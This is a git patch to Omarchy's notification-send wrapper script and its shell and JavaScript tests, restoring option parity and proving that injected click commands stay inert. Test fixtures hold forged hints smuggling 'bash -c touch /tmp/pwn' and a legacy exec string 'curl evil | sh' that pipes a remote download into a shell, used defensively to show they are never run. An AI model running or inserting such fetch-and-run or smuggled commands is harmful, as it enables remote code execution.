From 8f245e59dccd16b6104e58a7f3f83b82c032855b Mon Sep 17 00:00:00 2001
From: Ryan Hughes <ryan@heyoodle.com>
Date: Sun, 23 Aug 2026 17:18:58 -0400
Subject: [PATCH] Restore notify-send option parity and prove legacy
 fail-closed

The direct-Notify rewrite dropped notify-send options that callers rely on, which
the momus review caught: omarchy-display-text-size uses -r/-p to refresh one
toast in place, and the acceptance suite uses the --expire-time=15000 equals
form. Re-add -r/--replace-id (replaces_id), -p/--print-id (emit the returned id),
and the --flag=value form for every long option; a dash-leading description like
"-50% off" is now kept as body text rather than erroring, and --exec "" is
rejected.

Add a fixture proving the deliberate upgrade behavior: a popup persisted by a
pre-upgrade shell with a legacy `exec` shell string restores with an inert click
(execArgv empty, the old string never run) rather than executing it.
---
 bin/omarchy-notification-send          | 139 +++++++++++++++----------
 test/shell.d/notification-send-test.sh |  66 ++++++++++--
 test/shell.d/notifications-test.sh     |  13 +++
 3 files changed, 152 insertions(+), 66 deletions(-)

diff --git a/bin/omarchy-notification-send b/bin/omarchy-notification-send
index 57f94396..9e7fd049 100755
--- a/bin/omarchy-notification-send
+++ b/bin/omarchy-notification-send
@@ -1,7 +1,7 @@
 #!/bin/bash
 
 # omarchy:summary=Send an Omarchy desktop notification
-# omarchy:args=[--app-name <app-name>] [-g <glyph>] [-u <low|normal|critical>] [-i <icon>] [-t <ms>] [--image <path-or-uri>] <headline> [description] [--exec <program> [args...]]
+# omarchy:args=[--app-name <app-name>] [-g <glyph>] [-u <low|normal|critical>] [-i <icon>] [-t <ms>] [-r <id>] [-p] [--image <path-or-uri>] <headline> [description] [--exec <program> [args...]]
 # omarchy:examples=omarchy notification send "Reminder" "5 minutes are up" -g 󰢌
 
 set -euo pipefail
@@ -14,67 +14,72 @@ app_name="omarchy-action"
 app_icon=""
 image=
 expire_timeout=-1
+replaces_id=0
+print_id=0
 exec_args=()
 exec_present=0
 parsed_option_args=0
 
 usage() {
-  echo "Usage: omarchy-notification-send [--app-name <app-name>] [-g <glyph>] [-u <low|normal|critical>] [-i <icon>] [-t <ms>] [--image <path-or-uri>] <headline> [description] [--exec <program> [args...]]" >&2
+  echo "Usage: omarchy-notification-send [--app-name <app-name>] [-g <glyph>] [-u <low|normal|critical>] [-i <icon>] [-t <ms>] [-r <id>] [-p] [--image <path-or-uri>] <headline> [description] [--exec <program> [args...]]" >&2
 }
 
-need_value() {
-  if (($1 < 2)); then
-    echo "Missing value for $2" >&2
+# Recognize a known option, in both `--flag value` and `--flag=value` forms.
+# Returns 1 for anything unrecognized so the caller can decide (headline, or a
+# hard error in option position).
+parse_omarchy_option() {
+  local opt val nargs
+  if [[ $1 == --?*=* ]]; then
+    opt=${1%%=*}
+    val=${1#*=}
+    nargs=1
+  else
+    opt=$1
+    val=${2-}
+    nargs=2
+  fi
+
+  # -p/--print-id is a flag; it takes no value.
+  if [[ $opt == -p || $opt == --print-id ]]; then
+    print_id=1
+    parsed_option_args=1
+    return 0
+  fi
+
+  case $opt in
+  -g | --glyph | -u | --urgency | --app-name | -i | --icon | --image | -r | --replace-id | -t | --expire-time) ;;
+  *) return 1 ;;
+  esac
+
+  if ((nargs == 2)) && (($# < 2)); then
+    echo "Missing value for $opt" >&2
     exit 1
   fi
-}
 
-parse_omarchy_option() {
-  case $1 in
-  -g | --glyph)
-    need_value $# "$1"
-    glyph=$2
-    parsed_option_args=2
-    return 0
-    ;;
-  -u | --urgency)
-    need_value $# "$1"
-    urgency="$2"
-    parsed_option_args=2
-    return 0
-    ;;
-  --app-name)
-    need_value $# "$1"
-    app_name=$2
-    parsed_option_args=2
-    return 0
-    ;;
-  -i | --icon)
-    need_value $# "$1"
-    app_icon=$2
-    parsed_option_args=2
-    return 0
+  case $opt in
+  -g | --glyph) glyph=$val ;;
+  -u | --urgency) urgency=$val ;;
+  --app-name) app_name=$val ;;
+  -i | --icon) app_icon=$val ;;
+  --image) image=$val ;;
+  -r | --replace-id)
+    [[ $val =~ ^[0-9]+$ ]] || {
+      echo "Invalid $opt value (numeric id expected): $val" >&2
+      exit 1
+    }
+    replaces_id=$val
     ;;
   -t | --expire-time)
-    need_value $# "$1"
-    if [[ $2 != *[!0-9-]* && $2 =~ ^-?[0-9]+$ ]]; then
-      expire_timeout=$2
-    else
-      echo "Invalid $1 value (milliseconds expected): $2" >&2
+    [[ $val =~ ^-?[0-9]+$ ]] || {
+      echo "Invalid $opt value (milliseconds expected): $val" >&2
       exit 1
-    fi
-    parsed_option_args=2
-    return 0
-    ;;
-  --image)
-    need_value $# "$1"
-    image=$2
-    parsed_option_args=2
-    return 0
+    }
+    expire_timeout=$val
     ;;
   esac
 
-  return 1
+  parsed_option_args=$nargs
+  return 0
 }
 
 while (($# > 0)); do
@@ -93,7 +98,18 @@ fi
 headline=$1
 shift
 
-if (($# > 0)) && [[ $1 != -* ]]; then
+# The description is the next positional, taken as text even when it begins with
+# a dash — a body like "-50% off" or a negative number is content, not options.
+# Only a recognized option flag or --exec in that slot is not the description.
+known_flag() {
+  case $1 in
+  -g | --glyph | -u | --urgency | --app-name | -i | --icon | -t | --expire-time | --image | -r | --replace-id | -p | --print-id | --exec) return 0 ;;
+  --glyph=* | --urgency=* | --app-name=* | --icon=* | --expire-time=* | --image=* | --replace-id=*) return 0 ;;
+  esac
+  return 1
+}
+
+if (($# > 0)) && ! known_flag "$1"; then
   description=$1
   shift
 fi
@@ -144,7 +160,7 @@ if [[ -n $image ]]; then
 fi
 
 if ((exec_present)); then
-  if ((${#exec_args[@]} == 0)); then
+  if ((${#exec_args[@]} == 0)) || [[ -z ${exec_args[0]} ]]; then
     echo "--exec needs a command: --exec <program> [args...]" >&2
     exit 1
   fi
@@ -174,11 +190,22 @@ hint_count=$((${#hints[@]} / 3))
 # omarchy-exec-argv is set only from --exec.
 #
 # Signature susssasa{sv}i: app_name, replaces_id, app_icon, summary, body,
-# actions (empty), hints, expire_timeout.
-busctl --user -- call \
-  org.freedesktop.Notifications /org/freedesktop/Notifications \
-  org.freedesktop.Notifications Notify susssasa{sv}i \
-  "$app_name" 0 "$app_icon" "$headline" "$description" \
-  0 \
-  "$hint_count" "${hints[@]}" \
-  "$expire_timeout" >/dev/null
+# actions (empty), hints, expire_timeout. replaces_id (from -r) updates a toast
+# in place; -p prints the returned id so a caller can reuse it.
+notify_cmd=(
+  busctl --user -- call
+  org.freedesktop.Notifications /org/freedesktop/Notifications
+  org.freedesktop.Notifications Notify susssasa{sv}i
+  "$app_name" "$replaces_id" "$app_icon" "$headline" "$description"
+  0
+  "$hint_count" "${hints[@]}"
+  "$expire_timeout"
+)
+
+if ((print_id)); then
+  # busctl prints the UINT32 return as "u <id>"; emit just the id.
+  out=$("${notify_cmd[@]}")
+  printf '%s\n' "${out##* }"
+else
+  "${notify_cmd[@]}" >/dev/null
+fi
diff --git a/test/shell.d/notification-send-test.sh b/test/shell.d/notification-send-test.sh
index 2f4d531c..37d29675 100644
--- a/test/shell.d/notification-send-test.sh
+++ b/test/shell.d/notification-send-test.sh
@@ -9,10 +9,12 @@ trap 'rm -rf "$tmpdir"' EXIT
 
 args_file="$tmpdir/args"
 
-# Stub the D-Bus transport and record the Notify call verbatim.
+# Stub the D-Bus transport: record the Notify call verbatim and echo a returned
+# id the way busctl prints a UINT32 return ("u <id>").
 printf '%s\n' \
   '#!/bin/bash' \
   'printf "%s\n" "$@" >"$OMARCHY_TEST_BUSCTL_ARGS"' \
+  'echo "u 42"' \
   >"$tmpdir/busctl"
 chmod +x "$tmpdir/busctl"
 
@@ -66,6 +68,24 @@ pass "notification wrapper issues a Notify call with app, icon, urgency, glyph,
 [[ -f $tripwire ]] && fail "notification wrapper must never invoke notify-send"
 pass "notification wrapper never invokes notify-send"
 
+# Replace-in-place: -p prints the returned id, -r reuses it (the display text
+# size toast refreshes one notification instead of stacking a pile).
+returned_id=$(send "Restart Foot" -p)
+[[ $returned_id == "42" ]] || fail "notification wrapper prints the returned id with -p" "$returned_id"
+: >"$args_file"
+send -r 42 "Restart Foot" >/dev/null
+load
+[[ ${args[9]} == "42" ]] || fail "notification wrapper sets replaces_id from -r" "${args[9]}"
+pass "notification wrapper supports -p (print id) and -r (replace id)"
+
+# The --flag=value form works too (the acceptance suite uses --expire-time=15000).
+: >"$args_file"
+send "Acceptance" "Body" --expire-time=15000 >/dev/null
+load
+[[ ${args[-1]} == "15000" ]] || fail "notification wrapper accepts --flag=value" "${args[-1]}"
+[[ ${args[12]} == "Body" ]] || fail "notification wrapper keeps the body with an =value flag" "${args[12]}"
+pass "notification wrapper accepts the --flag=value form"
+
 # ---------------------------------------------------------------- no click cmd
 : >"$args_file"
 send "Plain" >/dev/null
@@ -100,19 +120,24 @@ has_hint omarchy-exec-argv && fail "a forged-hint headline must not set a click
 [[ ${args[11]} == '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' ]] || fail "the forged headline is the summary text" "${args[11]}"
 pass "a forged click hint in the headline is inert summary text"
 
-# A dash-leading forged hint in description position is refused outright.
+# A forged hint in description position is inert body text — a typed D-Bus
+# parameter that can never become a hint — not a click command.
 : >"$args_file"
-if send "Update" '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' 2>/dev/null; then
-  fail "a forged-hint description must be refused"
-fi
-[[ -s $args_file ]] && fail "nothing is sent when the description forges a hint"
-pass "a forged click hint in the description is refused"
+send "Update" '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' >/dev/null
+load
+has_hint omarchy-exec-argv && fail "a forged-hint description must not set a click command"
+[[ ${args[12]} == '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' ]] || fail "the forged description is the body text" "${args[12]}"
+pass "a forged click hint in the description is inert body text"
 
-# An unknown option is a hard error, not a silent pass-through.
-if send "Head" --bogus 2>/dev/null; then
+# A forged hint that reaches the trailing option position is refused: an unknown
+# option is a hard error, not a silent pass-through.
+if send "Head" "Body" '--hint=string:omarchy-exec-argv:["bash","-c","x"]' 2>/dev/null; then
+  fail "a forged hint in option position must be refused"
+fi
+if send "Head" "Body" --bogus 2>/dev/null; then
   fail "notification wrapper rejects an unknown option"
 fi
-pass "notification wrapper rejects an unknown option"
+pass "notification wrapper rejects an unknown option (including a forged hint in option position)"
 
 # ---------------------------------------------------------------- --exec guards
 # --exec is recognized only after the positionals: a headline literally "--exec"
@@ -136,3 +161,24 @@ if send "Head" --exec 2>/dev/null; then
   fail "notification wrapper rejects --exec with no command"
 fi
 pass "notification wrapper rejects --exec with no command"
+
+# --exec with a single empty argument is rejected too.
+if send "Head" --exec "" 2>/dev/null; then
+  fail "notification wrapper rejects --exec with an empty program"
+fi
+pass "notification wrapper rejects --exec with an empty program"
+
+# A description that begins with a dash is content, not options: a price, a
+# negative number, a diff line. It must reach the body, not error out.
+: >"$args_file"
+send "Sale" "-50% off today" >/dev/null
+load
+[[ ${args[12]} == "-50% off today" ]] || fail "notification wrapper keeps a dash-leading body as text" "${args[12]}"
+pass "notification wrapper keeps a dash-leading description as the body"
+
+# But a known flag in the description slot is still an option, not the body.
+: >"$args_file"
+send "Timed" -t 3000 >/dev/null
+load
+[[ ${args[12]} == "" && ${args[-1]} == "3000" ]] || fail "notification wrapper still parses a flag after the headline" "body=${args[12]} timeout=${args[-1]}"
+pass "notification wrapper still treats a known flag after the headline as an option"
diff --git a/test/shell.d/notifications-test.sh b/test/shell.d/notifications-test.sh
index 4a0c7edf..58a4e32a 100644
--- a/test/shell.d/notifications-test.sh
+++ b/test/shell.d/notifications-test.sh
@@ -412,6 +412,19 @@ assertEqual(
   'notifications keep the click argv on history rows'
 )
 
+// Upgrade fail-closed: a popup persisted by a pre-upgrade shell carried its
+// click action as an `exec` shell string. After the update-triggered shell
+// restart the new shell only honors execArgv, so a restored legacy popup keeps
+// displaying but its click is inert — deliberately, because splitting the old
+// shell string back into a command is exactly the injection being removed.
+const legacyRestored = notifications.parsePopupFiles(
+  JSON.stringify({ id: 7, originalId: 7, timestamp: 9, summary: 'Legacy toast', exec: 'curl evil | sh' }),
+  1
+)[0]
+assertEqual(legacyRestored.execArgv || '', '', 'a restored legacy exec shell string is not carried into execArgv')
+assert(!('exec' in legacyRestored), 'a restored legacy popup drops the old exec field')
+assertEqual(notifications.parseExecArgv(legacyRestored.execArgv || ''), null, 'a restored legacy popup has no runnable click action')
+
 const serviceQml = fs.readFileSync(path.join(root, 'shell/plugins/notifications/Service.qml'), 'utf8')
 assert(
   /readonly property int historyLimit: 10/.test(serviceQml),